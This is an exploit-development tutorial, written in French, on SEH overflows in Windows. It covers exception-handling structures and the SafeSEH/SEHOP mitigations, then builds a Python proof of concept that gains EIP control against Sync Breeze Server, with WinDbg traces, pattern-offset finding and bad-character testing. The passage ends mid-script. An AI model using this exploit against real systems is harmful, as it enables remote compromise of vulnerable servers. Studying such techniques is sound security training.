SEH Overflow
Les dépassements de tampon basés sur SEH
exploitent le mécanisme Structured Exception Handling
mis en oeuvre dans les systèmes Windows.
Théorie
Les exceptions
Une exception est un comportement inattendu qui arrive durant l'exécution normale d'un programme.
Il existe 2 types d'exception :
- Matériel : Les exceptions matérielles sont initiées par le
CPU
- e.g. : Le
CPU
essaye de faire référence à une adresse mémoire invalide
- e.g. : Le
- Logiciel : Les exceptions logicielles sont initiées par les applications
- e.g. : Un développeur veut lever une exception dans le code pour signaler qu'une fonction ne s'est pas exécutée correctement via un bloc
try {} except {}
- e.g. : Un développeur veut lever une exception dans le code pour signaler qu'une fonction ne s'est pas exécutée correctement via un bloc
La plupart des langages implémentent des fonctionnalités de try
et catch
bien que les mots clés puissent varier.
À la suite de la compilation, try {} except {}
va utiliser le mécanisme Structure Exception Handling (SEH)
implémenté par Windows pour gérer les événements inattendus.
Le mécanisme SEH
Le mécanisme SEH
donne la possibilité aux développeurs de prendre action quand un événement inattendu se réalise durant le flot d'exécution d'un thread.
Quand un thread est en défaut le système d'exploitation appelle un ensemble de fonctions prédéfinies nommées exception handlers.
Ces fonctions vont fournir des données et tenter de corriger l'exception. Les exception handlers sont créées durant la compilation.
À chaque fois qu'un bloc try
est rencontré durant l'exécution d'une fonction dans un thread, un pointeur vers le handler correspondant est stocké sur la pile dans la structure _EXCEPTION_REGISTRATION_RECORD
.
Comme il peut y avoir plusieurs blocs try
exécutés dans une fonction ces structures sont liées par une liste chainée.
Quand une exception est levée, le système d'exploitation inspecte la structure Thread Environmental Block
(TEB
) du thread impliqué et retrouve le pointeur (ExceptionList
) vers la liste chainée _EXCEPTION_REGISTRATION_RECORD
via le registre FS
du CPU.
Après avoir retrouvé le ExceptionList
l'OS va appeler chaque exception handler jusqu'à ce qu'une d'entre elles puisse gérer l'événement.
Si aucune des fonctions définies par l'utilisateur ne peut gérer l'exception, le système d'exploitation va appeler le default exception handler qui est le dernier noeud de la liste chainée.
Structures
Thread Environmental Block
Structure TEB
:
0:010> dt nt!_TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
+0x040 Win32ThreadInfo : Ptr32 Void
On voit que le premier élément de la structure TEB
est lui-même une structure de type _NT_TIB
.
_NT_TIB
Structure _NT_TIB
:
0:010> dt _NT_TIB
ntdll!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
Le premier élément de la structure nommé ExceptionList
est un pointeur sur la structure _EXCEPTION_REGISTRATION_RECORD
:
_EXCEPTION_REGISTRATION_RECORD
0:010> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
Next
fais le lien pour la liste chainée et est un pointeur sur la structure_EXCEPTION_REGISTRATION_RECORD
Handler
est un pointeur vers la fonction exception callback nommé_except_hamdler
qui renvoie une structure_EXCEPTION_DISPOSITION
_EXCEPTION_DISPOSITION
Structure _EXCEPTION_DISPOSITION
:
typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
// pointe sur la structure _EXCEPTION_REGISTRATION_RECORD
IN VOID EstablisherFrame,
// pointe sur la structure `CONTEXT`
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
La structure CONTEXT
contiens les données de certains registres du CPU lorsque l'exception est levée, dont le pointeur EIP
.
Les informations de cette structure vont être utilisées pour restaurer le flot d'exécution après la gestion de l'exception.
- Si le exception handler invoqué par l'OS n'est pas valide pour gérer l'exception il va renvoyer
ExceptionContinueSearch
- Indique à l'OS de se déplacer à l'élément suivant de la liste chainée
_EXCEPTION_REGISTRATION_RECORD
- Indique à l'OS de se déplacer à l'élément suivant de la liste chainée
- Si le exception handler est à même de handle l'exception il va renvoyer
ExceptionContinueExecution
- Indique à l'OS de relancer l'exécution
Étapes du SEH
Quand une exception est levée, le système d'exploitation appelle un groupe de fonction définie dans le cadre du mécanisme SEH
.
Au sein de ces appels, la liste chainée ExceptionList
est récupérée du TEB
. Le système d'exploitation parse la liste chainée de structures _EXCEPTION_REGISTRATION_RECORD
. Le système d'exploitation réalise plusieurs contrôles avant d'appeler la fonction exception_handler
pointée par le membre Handler
de la structure.
L'itération de la liste chainée continue jusqu'à ce qu'un handler capable de gérer l'exception soit trouvé permettant à l'exécution de continuer. Si aucun handler capable n'est trouvé, l'application crash.
Protections de SEH
SafeSEH
: Mitigation introduite par Microsoft pour empêcher un attaquant de gagner le contrôle du flot d'exécution après avoir réécrit un exception handler sur la pileSEHOP
: Vérifie que la chaine de structure_EXCEPTION_REGISTRATION_RECORD
est valide avant de l'invoquer. Si le paramètreNext
est réécrit, la structure n'est plus intact. Cette mitigation empêchera le_except_handler
d'être exécuté.
Pratique
Une structure exception overflow est un type de stack overflow qui est assez large ou bien positionné de façon à réécrire des valid registered exception handler sur la pile. En réécrivant un ou plusieurs de ces handlers l'attaquant peut prendre le contrôle du pointeur d'instruction après avoir trigger une exception.
Dans la plupart des cas, l'objectif d'un overflow est de réécrire des pointeurs valides / structures sur la pile.
Pousser l'application à crash déclenche dans tous les cas le mécanisme SEH
et entraine une redirection du pointeur d'instruction vers l'adresse du exception_handler avant d'atteindre la fin de la fonction.
L'exemple utilisé sera l'exploit portant sur l'application Sync Breeze Server Control.
Valider l'exploit
La première étape est d'identifier la présence du dépassement de tampon.
Dans ce cas, c'est l'entête de la requête qui est vulnérable.
Début de la preuve de concept en Python :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
inputBuffer = b"\x41" * size
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
Si on s'attache au service avec WinDbg et qu'on exécute cette preuve de concept, on obtient le résultat suivant :
(144.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=01c6fa1c ecx=01c6ff18 edx=01c6f9d4 esi=01c6ff18 edi=01c6fb20
eip=00902a9d esp=01c6f9a8 ebp=01c6fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00902a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
On affiche la structure du TEB
pour récupérer l'adresse de ExceptionList
:
On affiche l'élément ExceptionList
de type _EXCEPTION_REGISTRATION_RECORD
qui est donc le premier élément de la liste chainée :
0:011> dt _EXCEPTION_REGISTRATION_RECORD 01c6fe1c
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x01c6ff54 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x0097df5b _EXCEPTION_DISPOSITION libpal!md5_starts+0
On utilise l'élément Next
de la structure, élément qui pointe vers une autre structure de type _EXCEPTION_REGISTRATION_RECORD
:
0:011> dt _EXCEPTION_REGISTRATION_RECORD 0x01c6ff54
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
C'est donc le deuxième élément de la liste chainée qui est concernée par le dépassement de tampon.
Ce processus peut-être automatisé par la commande exchain
de WinDBG :
0:011> !exchain
01c6fe1c: libpal!md5_starts+149fb (0097df5b)
01c6ff54: 41414141
Invalid exception stack at 41414141
On note que l'adresse 01c6ff54
qui contient 41414141
est bien la même que celle du deuxième élément de la liste chainée.
Le _except_handler du deuxième élément de la liste chainée a donc été réécrit par le dépassement. Ainsi dès lors que la structure _EXCEPTION_REGISTRATION_RECORD
sera utilisée pour prendre en charge l'exception le CPU va finir par appeler 0x41414141
ce qui va nous donner le contrôle du registre EIP
.
Si on affiche les registres, on voit que EIP
n'est pas encore sous notre contrôle :
0:011> r
eax=41414141 ebx=01c6fa1c ecx=01c6ff18 edx=01c6f9d4 esi=01c6ff18 edi=01c6fb20
eip=00902a9d esp=01c6f9a8 ebp=01c6fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00902a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
On relance donc l'exécution et on voit que EIP
est maintenant initialisé à 41414141
indiquant qu'il est sous notre contrôle :
0:011> g
(144.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77853b20 esi=00000000 edi=00000000
eip=41414141 esp=01c6f438 ebp=01c6f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
Details
Si on affiche la callstack avec la commande k
on voit que la dernière fonction appelée est ntdll!ExecuteHandler2
qui est la fonction responsable de l'appel des _except_handler
. :
0:011> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 01c6f434 77853b02 0x41414141
01 01c6f458 77853ad4 ntdll!ExecuteHandler2+0x26
02 01c6f528 77841586 ntdll!ExecuteHandler+0x24
03 01c6f528 00902a9d ntdll!KiUserExceptionDispatcher+0x26
04 01c6fec8 00000000 libpal!SCA_ConfigObj::Deserialize+0x1d
On relance le service et WinDbg pour venir positionner un point d'arrêt sur la fonction ntdll!ExecuteHandler2
:
On relance ensuite l'exécution du service et on exécute l'exploit python
qui entraine un premier Access violation
:
0:009> g
(1f68.3c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=01c1fa1c ecx=01c1ff18 edx=01c1f9d4 esi=01c1ff18 edi=01c1fb20
eip=00872a9d esp=01c1f9a8 ebp=01c1fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00872a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
On relance de nouveau l'exécution pour avoir la chance d'atteindre le point d'arrêt qui est atteint une première fois au sein du premier élément de la liste chainée :
0:011> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853adc esp=01c1f45c ebp=01c1f528 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
77853adc 55 push ebp
On relance une dernière fois pour atteindre de nouveau le point d'arrêt, mais cette fois au sein du deuxième élément de la liste chainée :
0:011> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853adc esp=01c1f45c ebp=01c1f528 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
77853adc 55 push ebp
On affiche le code assembleur sur le point d'être exécuté. Ce code se découpe en plusieurs sous-parties à analyser :
1 PUSH et 1 MOV
Sauvegarde de EBP
et copie ESP
dans EBP
pour accéder facilement aux arguments de la fonction ntdll!ExecuteHandler2
:
3 PUSH et 1 MOV
Suite du code :
77853adf ff750c push dword ptr [ebp+0Ch]
77853ae2 52 push edx
77853ae3 64ff3500000000 push dword ptr fs:[0]
77853aea 64892500000000 mov dword ptr fs:[0],esp
- Le premier
push
viens positionner le membreNext
de la structure_EXCEPTION_REGISTRATION_RECORD
sur la stack
On voit que l'adresse 01c1ff54
du membre Next
est bien la même que celle stockée dans la pile via le push
:
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853adf esp=01c1f458 ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x3:
77853adf ff750c push dword ptr [ebp+0Ch] ss:0023:01c1f464=01c1ff54
0:011> !teb
TEB at 002b7000
ExceptionList: 01c1fe1c
StackBase: 01c20000
StackLimit: 01c1e000
[...]
0:011> dt _EXCEPTION_REGISTRATION_RECORD 01c1fe1c
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x01c1ff54 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x008edf5b _EXCEPTION_DISPOSITION libpal!md5_starts+0
- Le deuxième
push
viens placer l'adresse dentdll!ExecuteHandler2+
sur la pile
Stockage de edx
sur la pile :
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853ae2 esp=01c1f454 ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x6:
77853ae2 52 push edx
0:011> u @edx
ntdll!ExecuteHandler2+0x44:
[...]
- Le troisieme
push
viens placerExceptionList
sur la pile
On voit que l'adresse 01c1fe1c
du membre ExceptionList
du TEB
est la même que celle stockée dans la pile via le push
:
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853ae3 esp=01c1f450 ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x7:
77853ae3 64ff3500000000 push dword ptr fs:[0] fs:003b:00000000=01c1fe1c
0:011> !teb
TEB at 002b7000
ExceptionList: 01c1fe1c
StackBase: 01c20000
StackLimit: 01c1e000
[...]
- Le
mov
réécritExceptionList
du thread courrant par la valeur du registreESP
Réécriture de ExceptionList
avec la valeur de ESP
:
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853aea esp=01c1f44c ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0xe:
77853aea 64892500000000 mov dword ptr fs:[0],esp fs:003b:00000000=01c1fe1c
0:011> !teb
TEB at 002b7000
ExceptionList: 01c1fe1c
StackBase: 01c20000
StackLimit: 01c1e000
[...]
Cette étape permet d'anticiper les exceptions qui pourraient arriver durant l'appel du _except_handler.
4 PUSH
Enfin, quatre push
correspondant aux quatre paramètres de la fonction _except_handler
qui va être appelée par le call
:
typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN VOID EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
- Les quatre
push
en assembleur :
77853af1 ff7514 push dword ptr [ebp+14h]
77853af4 ff7510 push dword ptr [ebp+10h]
77853af7 ff750c push dword ptr [ebp+0Ch]
77853afa ff7508 push dword ptr [ebp+8]
77853afd 8b4d18 mov ecx,dword ptr [ebp+18h]
77853b00 ffd1 call ecx
On voit que ExceptionList
est bien initialisée avec la même valeur que ESP
suite au mov
précédent :
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853af1 esp=01c1f44c ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x15:
77853af1 ff7514 push dword ptr [ebp+14h] ss:0023:01c1f46c=01c1f4cc
0:011> !teb
TEB at 002b7000
ExceptionList: 01c1f44c
StackBase: 01c20000
StackLimit: 01c1e000
Les quatre (4) push
utilisés ici pour initialiser les paramètres de la fonction
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853af4 esp=01c1f448 ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x18:
77853af4 ff7510 push dword ptr [ebp+10h] ss:0023:01c1f468=01c1f55c
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853af7 esp=01c1f444 ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x1b:
77853af7 ff750c push dword ptr [ebp+0Ch] ss:0023:01c1f464=01c1ff54
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853afa esp=01c1f440 ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x1e:
77853afa ff7508 push dword ptr [ebp+8] ss:0023:01c1f460=01c1f540
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853afd esp=01c1f43c ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
77853afd 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:01c1f470=41414141
0:011> t
eax=00000000 ebx=00000000 ecx=41414141 edx=77853b20 esi=00000000 edi=00000000
eip=77853b00 esp=01c1f43c ebp=01c1f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
77853b00 ffd1 call ecx {41414141}
Ce code ASM est donc bien le code qui finis par appeler la fonction _except_handler
et nous donne le contrôle de EIP
.
Exécution de code à distance
Contrairement aux dépassements de tampon basés sur la pile, on ne contrôle pas la pile. Malgré notre contrôle de EIP
on ne peut pas le faire pointer vers une adresse contenant une instruction du type JMP ESP
pour rediriger le flot d'exécution vers notre payload.
Au moment où notre fonction handler va être appelée, la pile va contenir
- L'adresse de retour
- Les quatre (4) arguments de la fonction
_except_handler
Rappel de la déclaration de la fonction :
typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
// pointe sur la structure _EXCEPTION_REGISTRATION_RECORD
IN VOID EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
C'est le deuxième argument, EstablisherFrame
, qui est passé à la fonction handler qui pointe sur notre payload :
#
0:011> dds esp L5
01bcf438 01bcfb02 ntdll!ExecuteHandler2+0x26 # Adresse de retour
01bcf43c 01bcf540 # Paramètre ExceptionRecord
01bcf440 01bcff54 # Paramètre EstablisherFrame
01bcf444 01bcf55c
01bcf448 01bcf4cc
#
0:009> dt _EXCEPTION_REGISTRATION_RECORD 01bcff54
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
#
0:009> dd 01bcff54
01bcff54 41414141 41414141 41414141 41414141
[...]
Pour rediriger le flot d'exécution vers notre payload on pourrait réécrire l'exception handler avec l'adresse d'une instruction qui renvoie l'adresse de EstablisherFrame
sur la pile.
La séquence d'instruction la plus commune utilisée dans les SEH overflow est :
POP R32
: Retrouve la dernière valeur déposée dans la pile et la stock dans le registre en paramètre- Ici l'adresse de retour de
ExecuteHandler2
- Ici l'adresse de retour de
POP R32
: Retrouve la dernière valeur déposée dans la pile et la stock dans le registre en paramètre- Ici le paramètre
ExceptionRecord
- Ici le paramètre
RET
: Transfert le contrôle à l'adresse stockée sur la pile
Cependant, avant de chercher pour la séquence d'instruction POP
, POP
, RET
(P/P/R) on doit déterminer l'offset exact pour réécrire l'exception handler sur la pile.
Déterminer l'offset exact
On doit déterminer la taille exact nécessaire pour écraser précisément le gestionnaire d'exception. Pour cela on va envoyer une chaine de caractère non répétitive qui permet d'identifier instantanément la position des 4 bytes. On utilise l'outil msf-pattern_create
:
$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
On modifie la preuve de concept en remplaçant les A
par la chaine générée :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
WinDbg suite à l'exécution de l'exploit :
(910.18c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=33654132 edx=77853b20 esi=00000000 edi=00000000
eip=33654132 esp=01dff438 ebp=01dff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
33654132 ?? ???
#
0:011> !exchain
01dff44c: ntdll!ExecuteHandler2+44 (77853b20)
01dffe1c: libpal!md5_starts+149fb (0090df5b)
01dfff54: 33654132
Invalid exception stack at 65413165
L'exception handler a été correctement réécrit par notre motif unique.
Pour identifier l'offset exacte, on peut réutiliser le même outil :
On modifie la preuve de concept en adaptant le nombre de A
et en réécrivant EIP
spécifiquement avec des B
:
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
inputBuffer = b"\x41" * 128
inputBuffer += b"\x42\x42\x42\x42"
inputBuffer += b"\x43" * (size - len(inputBuffer))
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
WinDbg suite à l'exécution de l'exploit :
(1810.34c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=77853b20 esi=00000000 edi=00000000
eip=42424242 esp=01a0f438 ebp=01a0f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
#
0:009> !exchain
01a0f44c: ntdll!ExecuteHandler2+44 (77853b20)
01a0fe1c: libpal!md5_starts+149fb (008ddf5b)
01a0ff54: 42424242
Invalid exception stack at 41414141
L'exception handler a été correctement réécrit par les B
.
Identifier les mauvais caractères
En fonction de l'application, du type de vulnérabilité ou du protocole utilise certains caractères sont considéré comme bad. Les bad char ne doivent pas être utilisés dans le buffer, l'adresse de retour ou le shellcode.
Un caractère est considéré comme bad s'il entraine un changement dans la nature du crash ou une déformation en mémoire tel que 0x00
qui est le null byte.
Le caractère 0x00
doit être systématiquement évité.
Il faut tester et identifier l'ensemble des bad
caractères a chaque développement d'exploit en envoyant l'ensemble des caractères possible entre 0x00
et 0xFF
au sein du buffer pour observer la réaction de l'application.
On modifie la preuve de concept afin d'inclure l'ensemble des caractères possible sauf 0x00
:
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"
b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"
b"\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27"
b"\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34"
